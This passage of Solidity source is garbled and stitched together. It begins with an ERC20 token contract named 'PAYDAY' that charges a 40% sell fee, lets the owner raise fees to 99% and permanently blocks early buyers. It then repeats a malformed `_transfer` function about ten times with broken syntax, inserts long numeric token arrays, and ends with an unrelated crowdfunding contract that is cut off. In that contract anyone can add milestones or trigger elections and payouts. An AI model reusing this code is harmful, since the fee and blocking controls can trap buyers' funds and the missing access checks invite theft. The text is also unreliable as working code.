event UpdateUniswapV2Router(
address indexed newAddress,
address indexed oldAddress
);
event ExcludeFromFees(address indexed account, bool isExcluded);
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
event mktWalletUpdated(
address indexed newWallet,
address indexed oldWallet
);
event devWalletUpdated(
address indexed newWallet,
address indexed oldWallet
);
event liqWalletUpdated(
address indexed newWallet,
address indexed oldWallet
);
event operationsWalletUpdated(
address indexed newWallet,
address indexed oldWallet
);
event cexWalletUpdated(
address indexed newWallet,
address indexed oldWallet
);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiquidity
);
constructor() ERC20("PAYDAY", "COUNTDOWN") {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(routerCA);
excludeFromMaxTransaction(address(_uniswapV2Router), true);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
excludeFromMaxTransaction(address(uniswapV2Pair), true);
_setAutomatedMarketMakerPair(address(uniswapV2Pair), true);
uint256 _buyMarkFee = 15;
uint256 _buyLiquidityFee = 0;
uint256 _buyDevFee = 0;
uint256 _buyOperationsFee = 0;
uint256 _sellMarkFee = 40;
uint256 _sellLiquidityFee = 0;
uint256 _sellDevFee = 0;
uint256 _sellOperationsFee = 0;
uint256 totalSupply = 1_000_000_000_000 * 1e18;
maxTransactionAmount = 20_000_000_000 * 1e18;
maxWallet = 20_000_000_000 * 1e18;
swapTokensAtAmount = (totalSupply * 10) / 10000;
buyMarkFee = _buyMarkFee;
buyLiquidityFee = _buyLiquidityFee;
buyDevFee = _buyDevFee;
buyOperationsFee = _buyOperationsFee;
buyTotalFees = buyMarkFee + buyLiquidityFee + buyDevFee + buyOperationsFee;
sellMarkFee = _sellMarkFee;
sellLiquidityFee = _sellLiquidityFee;
sellDevFee = _sellDevFee;
sellOperationsFee = _sellOperationsFee;
sellTotalFees = sellMarkFee + sellLiquidityFee + sellDevFee + sellOperationsFee;
marketingwallet = address(0x60BDB48c4faBa49e173a96e6B6b259f3387ecD07);
devWallet = address(0x60BDB48c4faBa49e173a96e6B6b259f3387ecD07);
liqWallet = address(0x60BDB48c4faBa49e173a96e6B6b259f3387ecD07);
operationsWallet = address(0x60BDB48c4faBa49e173a96e6B6b259f3387ecD07);
cexWallet = address(0x60BDB48c4faBa49e173a96e6B6b259f3387ecD07);
excludeFromFees(owner(), true);
excludeFromFees(address(this), true);
excludeFromFees(address(0xdead), true);
excludeFromFees(address(cexWallet), true);
excludeFromFees(address(marketingwallet), true);
excludeFromFees(address(liqWallet), true);
excludeFromMaxTransaction(owner(), true);
excludeFromMaxTransaction(address(this), true);
excludeFromMaxTransaction(address(0xdead), true);
excludeFromMaxTransaction(address(cexWallet), true);
excludeFromMaxTransaction(address(marketingwallet), true);
excludeFromMaxTransaction(address(liqWallet), true);
excludeFromMaxWallet(owner(), true);
excludeFromMaxWallet(address(this), true);
excludeFromMaxWallet(address(0xdead), true);
excludeFromMaxWallet(address(cexWallet), true);
excludeFromMaxWallet(address(marketingwallet), true);
excludeFromMaxWallet(address(liqWallet), true);
_mint(msg.sender, totalSupply);
}
receive() external payable {}
function enableTrading(uint256 _deadBlocks) external onlyOwner {
require(!tradingActive, "Token launched");
tradingActive = true;
launchBlock = block.number;
swapEnabled = true;
deadBlocks = _deadBlocks;
}
function removeLimits() external onlyOwner returns (bool) {
limitsInEffect = false;
return true;
}
function disableTransferDelay() external onlyOwner returns (bool) {
transferDelayEnabled = false;
return true;
}
function updateSwapTokensAtAmount(uint256 newAmount)
external
onlyOwner
returns (bool)
{
require(
newAmount >= (totalSupply() * 1) / 100000,
"Swap amount cannot be lower than 0.001% total supply."
);
require(
newAmount <= (totalSupply() * 5) / 1000,
"Swap amount cannot be higher than 0.5% total supply."
);
swapTokensAtAmount = newAmount;
return true;
}
function updateMaxTxnAmount(uint256 newNum) external onlyOwner {
require(
newNum >= ((totalSupply() * 1) / 1000) / 1e18,
"Cannot set maxTransactionAmount lower than 0.1%"
);
maxTransactionAmount = newNum * (10**18);
}
function updateMaxWalletAmount(uint256 newNum) external onlyOwner {
require(
newNum >= ((totalSupply() * 5) / 1000) / 1e18,
"Cannot set maxWallet lower than 0.5%"
);
maxWallet = newNum * (10**18);
}
function excludeFromMaxTransaction(address updAds, bool isEx)
public
onlyOwner
{
_isExcludedMaxTransactionAmount[updAds] = isEx;
}
function excludeFromMaxWallet(address updAds, bool isEx)
public
onlyOwner
{
_isExcludedMaxWalletAmount[updAds] = isEx;
}
function updateSwapEnabled(bool enabled) external onlyOwner {
swapEnabled = enabled;
}
function updateBuyFees(
uint256 _markFee,
uint256 _liquidityFee,
uint256 _devFee,
uint256 _operationsFee
) external onlyOwner {
buyMarkFee = _markFee;
buyLiquidityFee = _liquidityFee;
buyDevFee = _devFee;
buyOperationsFee = _operationsFee;
buyTotalFees = buyMarkFee + buyLiquidityFee + buyDevFee + buyOperationsFee;
require(buyTotalFees <= 99);
}
function updateSellFees(
uint256 _markFee,
uint256 _liquidityFee,
uint256 _devFee,
uint256 _operationsFee
) external onlyOwner {
sellMarkFee = _markFee;
sellLiquidityFee = _liquidityFee;
sellDevFee = _devFee;
sellOperationsFee = _operationsFee;
sellTotalFees = sellMarkFee + sellLiquidityFee + sellDevFee + sellOperationsFee;
require(sellTotalFees <= 99);
}
function excludeFromFees(address account, bool excluded) public onlyOwner {
_isExcludedFromFees[account] = excluded;
emit ExcludeFromFees(account, excluded);
}
function setAutomatedMarketMakerPair(address pair, bool value)
public
onlyOwner
{
require(
pair != uniswapV2Pair,
"The pair cannot be removed from automatedMarketMakerPairs"
);
_setAutomatedMarketMakerPair(pair, value);
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
automatedMarketMakerPairs[pair] = value;
emit SetAutomatedMarketMakerPair(pair, value);
}
function updatemktWallet(address newmktWallet) external onlyOwner {
emit mktWalletUpdated(newmktWallet, marketingwallet);
marketingwallet = newmktWallet;
}
function updateDevWallet(address newWallet) external onlyOwner {
emit devWalletUpdated(newWallet, devWallet);
devWallet = newWallet;
}
function updateoperationsWallet(address newWallet) external onlyOwner{
emit operationsWalletUpdated(newWallet, operationsWallet);
operationsWallet = newWallet;
}
function updateLiqWallet(address newLiqWallet) external onlyOwner {
emit liqWalletUpdated(newLiqWallet, liqWallet);
liqWallet = newLiqWallet;
}
function updatecexWallet(address newcexWallet) external onlyOwner {
emit cexWalletUpdated(newcexWallet, cexWallet);
cexWallet = newcexWallet;
}
function isExcludedFromFees(address account) public view returns (bool) {
return _isExcludedFromFees[account];
}
event BoughtEarly(address indexed sniper);
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(!blocked[from], "Sniper blocked");
if (amount == 0) {
super._transfer(from, to, 0);
return;
}
if (limitsInEffect) {
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!swapping
) {
if (!tradingActive) {
require(
_isExcludedFromFees[from] || _isExcludedFromFees[to],
"Trading is not active."
);
}
if(block.number <= launchBlock + deadBlocks && from == address(uniswapV2Pair) &&
to != routerCA && to != address(this) && to != address(uniswapV2Pair)){
blocked[to] = true;
emit BoughtEarly(to);
}
if (transferDelayEnabled) {
if (
to != owner() &&
to != address(uniswapV2Router) &&
to != address(uniswapV2Pair)
) {
require(
_holderLastTransferTimestamp[tx.origin] <
block.number,
"_transfer:: Transfer Delay enabled. Only one purchase per block allowed."
);
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
automatedMarketMakerPairs[from] &&
!_isExcludedMaxTransactionAmount[to]
) {
require(
amount <= maxTransactionAmount,
"Buy transfer amount exceeds the maxTransactionAmount."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
}
automatedMarketMakerPairs[to] &&
!_isExcludedMaxTransactionAmount[from]
) {
require(
amount <= maxTransactionAmount,
"Sell transfer amount exceeds the maxTransactionAmount."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
}
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(!blocked[from], "Sniper blocked");
if (amount == 0) {
super._transfer(from, to, 0);
return;
}
if (limitsInEffect) {
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!swapping
) {
if (!tradingActive) {
require(
_isExcludedFromFees[from] || _isExcludedFromFees[to],
"Trading is not active."
);
}
if(block.number <= launchBlock + deadBlocks && from == address(uniswapV2Pair) &&
to != routerCA && to != address(this) && to != address(uniswapV2Pair)){
blocked[to] = true;
emit BoughtEarly(to);
}
if (transferDelayEnabled) {
if (
to != owner() &&
to != address(uniswapV2Router) &&
to != address(uniswapV2Pair)
) {
require(
_holderLastTransferTimestamp[tx.origin] <
block.number,
"_transfer:: Transfer Delay enabled. Only one purchase per block allowed."
);
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
automatedMarketMakerPairs[from] &&
!_isExcludedMaxTransactionAmount[to]
) {
require(
amount <= maxTransactionAmount,
"Buy transfer amount exceeds the maxTransactionAmount."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
}
automatedMarketMakerPairs[to] &&
!_isExcludedMaxTransactionAmount[from]
) {
require(
amount <= maxTransactionAmount,
"Sell transfer amount exceeds the maxTransactionAmount."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
}
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(!blocked[from], "Sniper blocked");
if (amount == 0) {
super._transfer(from, to, 0);
return;
}
if (limitsInEffect) {
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!swapping
) {
if (!tradingActive) {
require(
_isExcludedFromFees[from] || _isExcludedFromFees[to],
"Trading is not active."
);
}
if(block.number <= launchBlock + deadBlocks && from == address(uniswapV2Pair) &&
to != routerCA && to != address(this) && to != address(uniswapV2Pair)){
blocked[to] = true;
emit BoughtEarly(to);
}
if (transferDelayEnabled) {
if (
to != owner() &&
to != address(uniswapV2Router) &&
to != address(uniswapV2Pair)
) {
require(
_holderLastTransferTimestamp[tx.origin] <
block.number,
"_transfer:: Transfer Delay enabled. Only one purchase per block allowed."
);
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
automatedMarketMakerPairs[from] &&
!_isExcludedMaxTransactionAmount[to]
) {
require(
amount <= maxTransactionAmount,
"Buy transfer amount exceeds the maxTransactionAmount."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
}
automatedMarketMakerPairs[to] &&
!_isExcludedMaxTransactionAmount[from]
) {
require(
amount <= maxTransactionAmount,
"Sell transfer amount exceeds the maxTransactionAmount."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
}
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(!blocked[from], "Sniper blocked");
if (amount == 0) {
super._transfer(from, to, 0);
return;
}
if (limitsInEffect) {
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!swapping
) {
if (!tradingActive) {
require(
_isExcludedFromFees[from] || _isExcludedFromFees[to],
"Trading is not active."
);
}
if(block.number <= launchBlock + deadBlocks && from == address(uniswapV2Pair) &&
to != routerCA && to != address(this) && to != address(uniswapV2Pair)){
blocked[to] = true;
emit BoughtEarly(to);
}
if (transferDelayEnabled) {
if (
to != owner() &&
to != address(uniswapV2Router) &&
to != address(uniswapV2Pair)
) {
require(
_holderLastTransferTimestamp[tx.origin] <
block.number,
"_transfer:: Transfer Delay enabled. Only one purchase per block allowed."
);
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
automatedMarketMakerPairs[from] &&
!_isExcludedMaxTransactionAmount[to]
) {
require(
amount <= maxTransactionAmount,
"Buy transfer amount exceeds the maxTransactionAmount."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
}
automatedMarketMakerPairs[to] &&
!_isExcludedMaxTransactionAmount[from]
) {
require(
amount <= maxTransactionAmount,
"Sell transfer amount exceeds the maxTransactionAmount."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
}
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(!blocked[from], "Sniper blocked");
if (amount == 0) {
super._transfer(from, to, 0);
return;
}
if (limitsInEffect) {
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!swapping
) {
if (!tradingActive) {
require(
_isExcludedFromFees[from] || _isExcludedFromFees[to],
"Trading is not active."
);
}
if(block.number <= launchBlock + deadBlocks && from == address(uniswapV2Pair) &&
to != routerCA && to != address(this) && to != address(uniswapV2Pair)){
blocked[to] = true;
emit BoughtEarly(to);
}
if (transferDelayEnabled) {
if (
to != owner() &&
to != address(uniswapV2Router) &&
to != address(uniswapV2Pair)
) {
require(
_holderLastTransferTimestamp[tx.origin] <
block.number,
"_transfer:: Transfer Delay enabled. Only one purchase per block allowed."
);
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
automatedMarketMakerPairs[from] &&
!_isExcludedMaxTransactionAmount[to]
) {
require(
amount <= maxTransactionAmount,
"Buy transfer amount exceeds the maxTransactionAmount."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
}
automatedMarketMakerPairs[to] &&
!_isExcludedMaxTransactionAmount[from]
) {
require(
amount <= maxTransactionAmount,
"Sell transfer amount exceeds the maxTransactionAmount."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
}
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(!blocked[from], "Sniper blocked");
if (amount == 0) {
super._transfer(from, to, 0);
return;
}
if (limitsInEffect) {
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!swapping
) {
if (!tradingActive) {
require(
_isExcludedFromFees[from] || _isExcludedFromFees[to],
"Trading is not active."
);
}
if(block.number <= launchBlock + deadBlocks && from == address(uniswapV2Pair) &&
to != routerCA && to != address(this) && to != address(uniswapV2Pair)){
blocked[to] = true;
emit BoughtEarly(to);
}
if (transferDelayEnabled) {
if (
to != owner() &&
to != address(uniswapV2Router) &&
to != address(uniswapV2Pair)
) {
require(
_holderLastTransferTimestamp[tx.origin] <
block.number,
"_transfer:: Transfer Delay enabled. Only one purchase per block allowed."
);
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
automatedMarketMakerPairs[from] &&
!_isExcludedMaxTransactionAmount[to]
) {
require(
amount <= maxTransactionAmount,
"Buy transfer amount exceeds the maxTransactionAmount."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
}
automatedMarketMakerPairs[to] &&
!_isExcludedMaxTransactionAmount[from]
) {
require(
amount <= maxTransactionAmount,
"Sell transfer amount exceeds the maxTransactionAmount."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
}
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(!blocked[from], "Sniper blocked");
if (amount == 0) {
super._transfer(from, to, 0);
return;
}
if (limitsInEffect) {
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!swapping
) {
if (!tradingActive) {
require(
_isExcludedFromFees[from] || _isExcludedFromFees[to],
"Trading is not active."
);
}
if(block.number <= launchBlock + deadBlocks && from == address(uniswapV2Pair) &&
to != routerCA && to != address(this) && to != address(uniswapV2Pair)){
blocked[to] = true;
emit BoughtEarly(to);
}
if (transferDelayEnabled) {
if (
to != owner() &&
to != address(uniswapV2Router) &&
to != address(uniswapV2Pair)
) {
require(
_holderLastTransferTimestamp[tx.origin] <
block.number,
"_transfer:: Transfer Delay enabled. Only one purchase per block allowed."
);
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
automatedMarketMakerPairs[from] &&
!_isExcludedMaxTransactionAmount[to]
) {
require(
amount <= maxTransactionAmount,
"Buy transfer amount exceeds the maxTransactionAmount."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
}
automatedMarketMakerPairs[to] &&
!_isExcludedMaxTransactionAmount[from]
) {
require(
amount <= maxTransactionAmount,
"Sell transfer amount exceeds the maxTransactionAmount."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
}
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(!blocked[from], "Sniper blocked");
if (amount == 0) {
super._transfer(from, to, 0);
return;
}
if (limitsInEffect) {
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!swapping
) {
if (!tradingActive) {
require(
_isExcludedFromFees[from] || _isExcludedFromFees[to],
"Trading is not active."
);
}
if(block.number <= launchBlock + deadBlocks && from == address(uniswapV2Pair) &&
to != routerCA && to != address(this) && to != address(uniswapV2Pair)){
blocked[to] = true;
emit BoughtEarly(to);
}
if (transferDelayEnabled) {
if (
to != owner() &&
to != address(uniswapV2Router) &&
to != address(uniswapV2Pair)
) {
require(
_holderLastTransferTimestamp[tx.origin] <
block.number,
"_transfer:: Transfer Delay enabled. Only one purchase per block allowed."
);
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
automatedMarketMakerPairs[from] &&
!_isExcludedMaxTransactionAmount[to]
) {
require(
amount <= maxTransactionAmount,
"Buy transfer amount exceeds the maxTransactionAmount."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
}
automatedMarketMakerPairs[to] &&
!_isExcludedMaxTransactionAmount[from]
) {
require(
amount <= maxTransactionAmount,
"Sell transfer amount exceeds the maxTransactionAmount."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
}
}
if (
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(!blocked[from], "Sniper blocked");
if (amount == 0) {
super._transfer(from, to, 0);
return;
}
if (limitsInEffect) {
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!swapping
) {
if (!tradingActive) {
require(
_isExcludedFromFees[from] || _isExcludedFromFees[to],
"Trading is not active."
);
}
if(block.number <= launchBlock + deadBlocks && from == address(uniswapV2Pair) &&
to != routerCA && to != address(this) && to != address(uniswapV2Pair)){
blocked[to] = true;
emit BoughtEarly(to);
}
if (transferDelayEnabled) {
if (
to != owner() &&
to != address(uniswapV2Router) &&
to != address(uniswapV2Pair)
) {
require(
_holderLastTransferTimestamp[tx.origin] <
block.number,
"_transfer:: Transfer Delay enabled. Only one purchase per block allowed."
);
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
automatedMarketMakerPairs[from] &&
!_isExcludedMaxTransactionAmount[to]
) {
require(
amount <= maxTransactionAmount,
"Buy transfer amount exceeds the maxTransactionAmount."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
}
automatedMarketMakerPairs[to] &&
!_isExcludedMaxTransactionAmount[from]
) {
require(
amount <= maxTransactionAmount,
"Sell transfer amount exceeds the maxTransactionAmount."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
}
}
else if (
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(!blocked[from], "Sniper blocked");
if (amount == 0) {
super._transfer(from, to, 0);
return;
}
if (limitsInEffect) {
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!swapping
) {
if (!tradingActive) {
require(
_isExcludedFromFees[from] || _isExcludedFromFees[to],
"Trading is not active."
);
}
if(block.number <= launchBlock + deadBlocks && from == address(uniswapV2Pair) &&
to != routerCA && to != address(this) && to != address(uniswapV2Pair)){
blocked[to] = true;
emit BoughtEarly(to);
}
if (transferDelayEnabled) {
if (
to != owner() &&
to != address(uniswapV2Router) &&
to != address(uniswapV2Pair)
) {
require(
_holderLastTransferTimestamp[tx.origin] <
block.number,
"_transfer:: Transfer Delay enabled. Only one purchase per block allowed."
);
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
automatedMarketMakerPairs[from] &&
!_isExcludedMaxTransactionAmount[to]
) {
require(
amount <= maxTransactionAmount,
"Buy transfer amount exceeds the maxTransactionAmount."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
}
automatedMarketMakerPairs[to] &&
!_isExcludedMaxTransactionAmount[from]
) {
require(
amount <= maxTransactionAmount,
"Sell transfer amount exceeds the maxTransactionAmount."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
}
}
} else if (!_isExcludedMaxTransactionAmount[to]) {
}
| 3,968,581 | [
1,
14925,
77,
17,
4819,
471,
30959,
17,
3350,
5349,
7990,
471,
3152,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
16351,
25095,
10339,
353,
4232,
39,
3462,
16,
14223,
6914,
288,
203,
565,
1450,
14060,
10477,
364,
2254,
5034,
31,
203,
203,
565,
467,
984,
291,
91,
438,
58,
22,
8259,
3103,
1071,
11732,
640,
291,
91,
438,
58,
22,
8259,
31,
203,
565,
1758,
1071,
11732,
640,
291,
91,
438,
58,
22,
4154,
31,
203,
565,
1758,
1071,
5381,
8363,
1887,
273,
1758,
12,
20,
92,
22097,
1769,
203,
203,
565,
1426,
3238,
7720,
1382,
31,
203,
203,
565,
1758,
1071,
13667,
310,
19177,
31,
203,
565,
1758,
1071,
4461,
16936,
31,
203,
565,
1758,
1071,
4501,
85,
16936,
31,
203,
565,
1758,
1071,
5295,
16936,
31,
203,
565,
1758,
1071,
276,
338,
16936,
31,
203,
203,
565,
2254,
5034,
1071,
943,
3342,
6275,
31,
203,
565,
2254,
5034,
1071,
7720,
5157,
861,
6275,
31,
203,
565,
2254,
5034,
1071,
943,
16936,
31,
203,
203,
565,
1426,
1071,
8181,
382,
12477,
273,
638,
31,
203,
565,
1426,
1071,
1284,
7459,
3896,
273,
629,
31,
203,
565,
1426,
1071,
7720,
1526,
273,
629,
31,
203,
203,
565,
2874,
12,
2867,
516,
2254,
5034,
13,
3238,
389,
4505,
3024,
5912,
4921,
31,
203,
565,
1426,
1071,
7412,
6763,
1526,
273,
638,
31,
203,
565,
2254,
5034,
3238,
8037,
1768,
31,
203,
565,
2254,
5034,
3238,
8363,
6450,
31,
203,
565,
2874,
12,
2867,
516,
1426,
13,
1071,
14547,
31,
203,
203,
565,
2254,
5034,
1071,
30143,
5269,
2954,
281,
31,
203,
565,
2254,
5034,
1071,
30143,
3882,
14667,
31,
203,
565,
2254,
5034,
1071,
30143,
2
] |
// We will be using Solidity version 0.5.4
pragma solidity ^0.5.4;
pragma experimental ABIEncoderV2;
// Importing OpenZeppelin's SafeMath Implementation
import './SafeMath.sol';
contract CrowdFunding {
using SafeMath for uint256;
enum State {
Fundraising,
Fundraised,
Success,
Failure
}
enum Mile_State{
Under_Progress,
Voting,
Success,
Failure
}
struct MileStone{
bytes32 desc;
uint per;
uint deadline;
Mile_State state;
uint yesCount;
uint noCount;
mapping(address => uint ) voters;
}
modifier inMileState(uint pro_id,uint mile_id, Mile_State milestate){
require(projects[pro_id].milestones[mile_id].state == milestate);
_;
}
struct Project{
address payable creator;
uint amountGoal; // required to reach at least this much, else everyone gets refund
uint completeAt;
uint256 currentBalance;
uint raiseBy;
string title;
string description;
uint mcount;
uint initp;
uint refp;
State state; // initialize on create
mapping (address => uint) contributions;
mapping(uint => MileStone) milestones;
}
mapping(uint => Project) public projects;
uint public projectcount;
event FundingReceived(address contributor, uint amount, uint currentTotal);
event CreatorPaid(address recipient);
// Modifier to check current state
modifier inState(uint id, State _state) {
require(projects[id].state == _state);
_;
}
modifier inmileState(uint id, uint mile_id, Mile_State _state) {
require(projects[id].milestones[mile_id].state == _state);
_;
}
// Modifier to check if the function caller is the project creator
modifier isCreator(uint id) {
require(msg.sender == projects[id].creator);
_;
}
modifier isContributor(uint id) {
require(projects[id].contributions[msg.sender] > 0);
_;
}
// Event that will be emitted whenever a new project is started
event ProjectStarted(
address projectStarter,
string projectTitle,
string projectDesc,
uint256 deadline,
uint256 goalAmount
);
event debugging(
uint dummy
);
/** @dev Function to start a new project.
* @param title Title of the project to be created
* @param description Brief description about the project
* @param durationInDays Project deadline in days
* @param amountToRaise Project goal in wei
*/
function AddProject(
string calldata title,
string calldata description,
uint durationInDays,
uint amountToRaise,
uint initp,
uint mile_count
) external {
uint raiseUntil = now.mul(1000);
raiseUntil = raiseUntil.add(durationInDays.mul(86400));
projectcount ++;
// Project newProject = new Project(msg.sender, title, description, raiseUntil, amountToRaise);
// projects.push(newProject);
projects[projectcount] = Project(msg.sender, amountToRaise, 0, 0,
raiseUntil, title, description, mile_count, initp, 100, State.Fundraising);
emit ProjectStarted(
msg.sender,
title,
description,
raiseUntil,
amountToRaise
);
}
function addMilestones(
uint pro_id,
uint mile_count,
bytes32[] calldata Descs,
uint[] calldata pers,
uint[] calldata deads
) external {
for(uint i=0;i<mile_count;i++){
uint temp = now.mul(1000);
temp = temp.add(deads[i].mul(86400));
projects[pro_id].milestones[i] = MileStone(Descs[i], pers[i], temp, Mile_State.Under_Progress, 0, 0);
}
}
function UpdateProState(uint pro_id) external inState(pro_id, State.Fundraising){
if (projects[pro_id].currentBalance < projects[pro_id].amountGoal){
projects[pro_id].state = State.Failure;
for (uint i=0;i<projects[pro_id].mcount;i++)
projects[pro_id].milestones[i].state = Mile_State.Failure;
}
else{
projects[pro_id].state = State.Fundraised;
payOut(pro_id, projects[pro_id].initp);
}
}
function StartElection(uint pro_id, uint mile_id) external inmileState(pro_id, mile_id, Mile_State.Under_Progress){
projects[pro_id].milestones[mile_id].state = Mile_State.Voting;
}
function ElectionComplete(uint pro_id, uint mile_id) external {
if (projects[pro_id].milestones[mile_id].yesCount > projects[pro_id].milestones[mile_id].noCount){
projects[pro_id].milestones[mile_id].state = Mile_State.Success;
payOut(pro_id, projects[pro_id].milestones[mile_id].per);
if(mile_id == projects[pro_id].mcount-1)
projects[pro_id].state = State.Success;
}
else{
projects[pro_id].state = State.Failure;
for (uint i=mile_id;i<projects[pro_id].mcount;i++)
projects[pro_id].milestones[i].state = Mile_State.Failure;
}
}
function getmile(uint pro_id, uint mile_id) public view returns(bytes32, uint, uint, uint, uint, uint){
MileStone storage ms = projects[pro_id].milestones[mile_id];
uint val;
if (ms.state == Mile_State.Under_Progress){
val = 0;
}
if (ms.state == Mile_State.Voting){
val = 1;
}
if (ms.state == Mile_State.Success){
val = 2;
}
if (ms.state == Mile_State.Failure){
val = 3;
}
return (ms.desc, ms.per, ms.deadline, val ,ms.yesCount, ms.noCount);
}
event votedEvent (
uint pro_id,
uint mile_id,
uint vote_val
);
function Vote(uint pro_id, uint mile_id, uint vote_val) inMileState(pro_id,mile_id,Mile_State.Voting) public {
require(projects[pro_id].contributions[msg.sender] > 0,"Only Contributors of this project can vote");
if(projects[pro_id].milestones[mile_id].voters[msg.sender] == 0){
projects[pro_id].milestones[mile_id].voters[msg.sender] = vote_val;
if(vote_val == 1){
projects[pro_id].milestones[mile_id].yesCount++;
}
else{
projects[pro_id].milestones[mile_id].noCount++;
}
}
else{
if(projects[pro_id].milestones[mile_id].voters[msg.sender] != vote_val){
if(vote_val == 1){
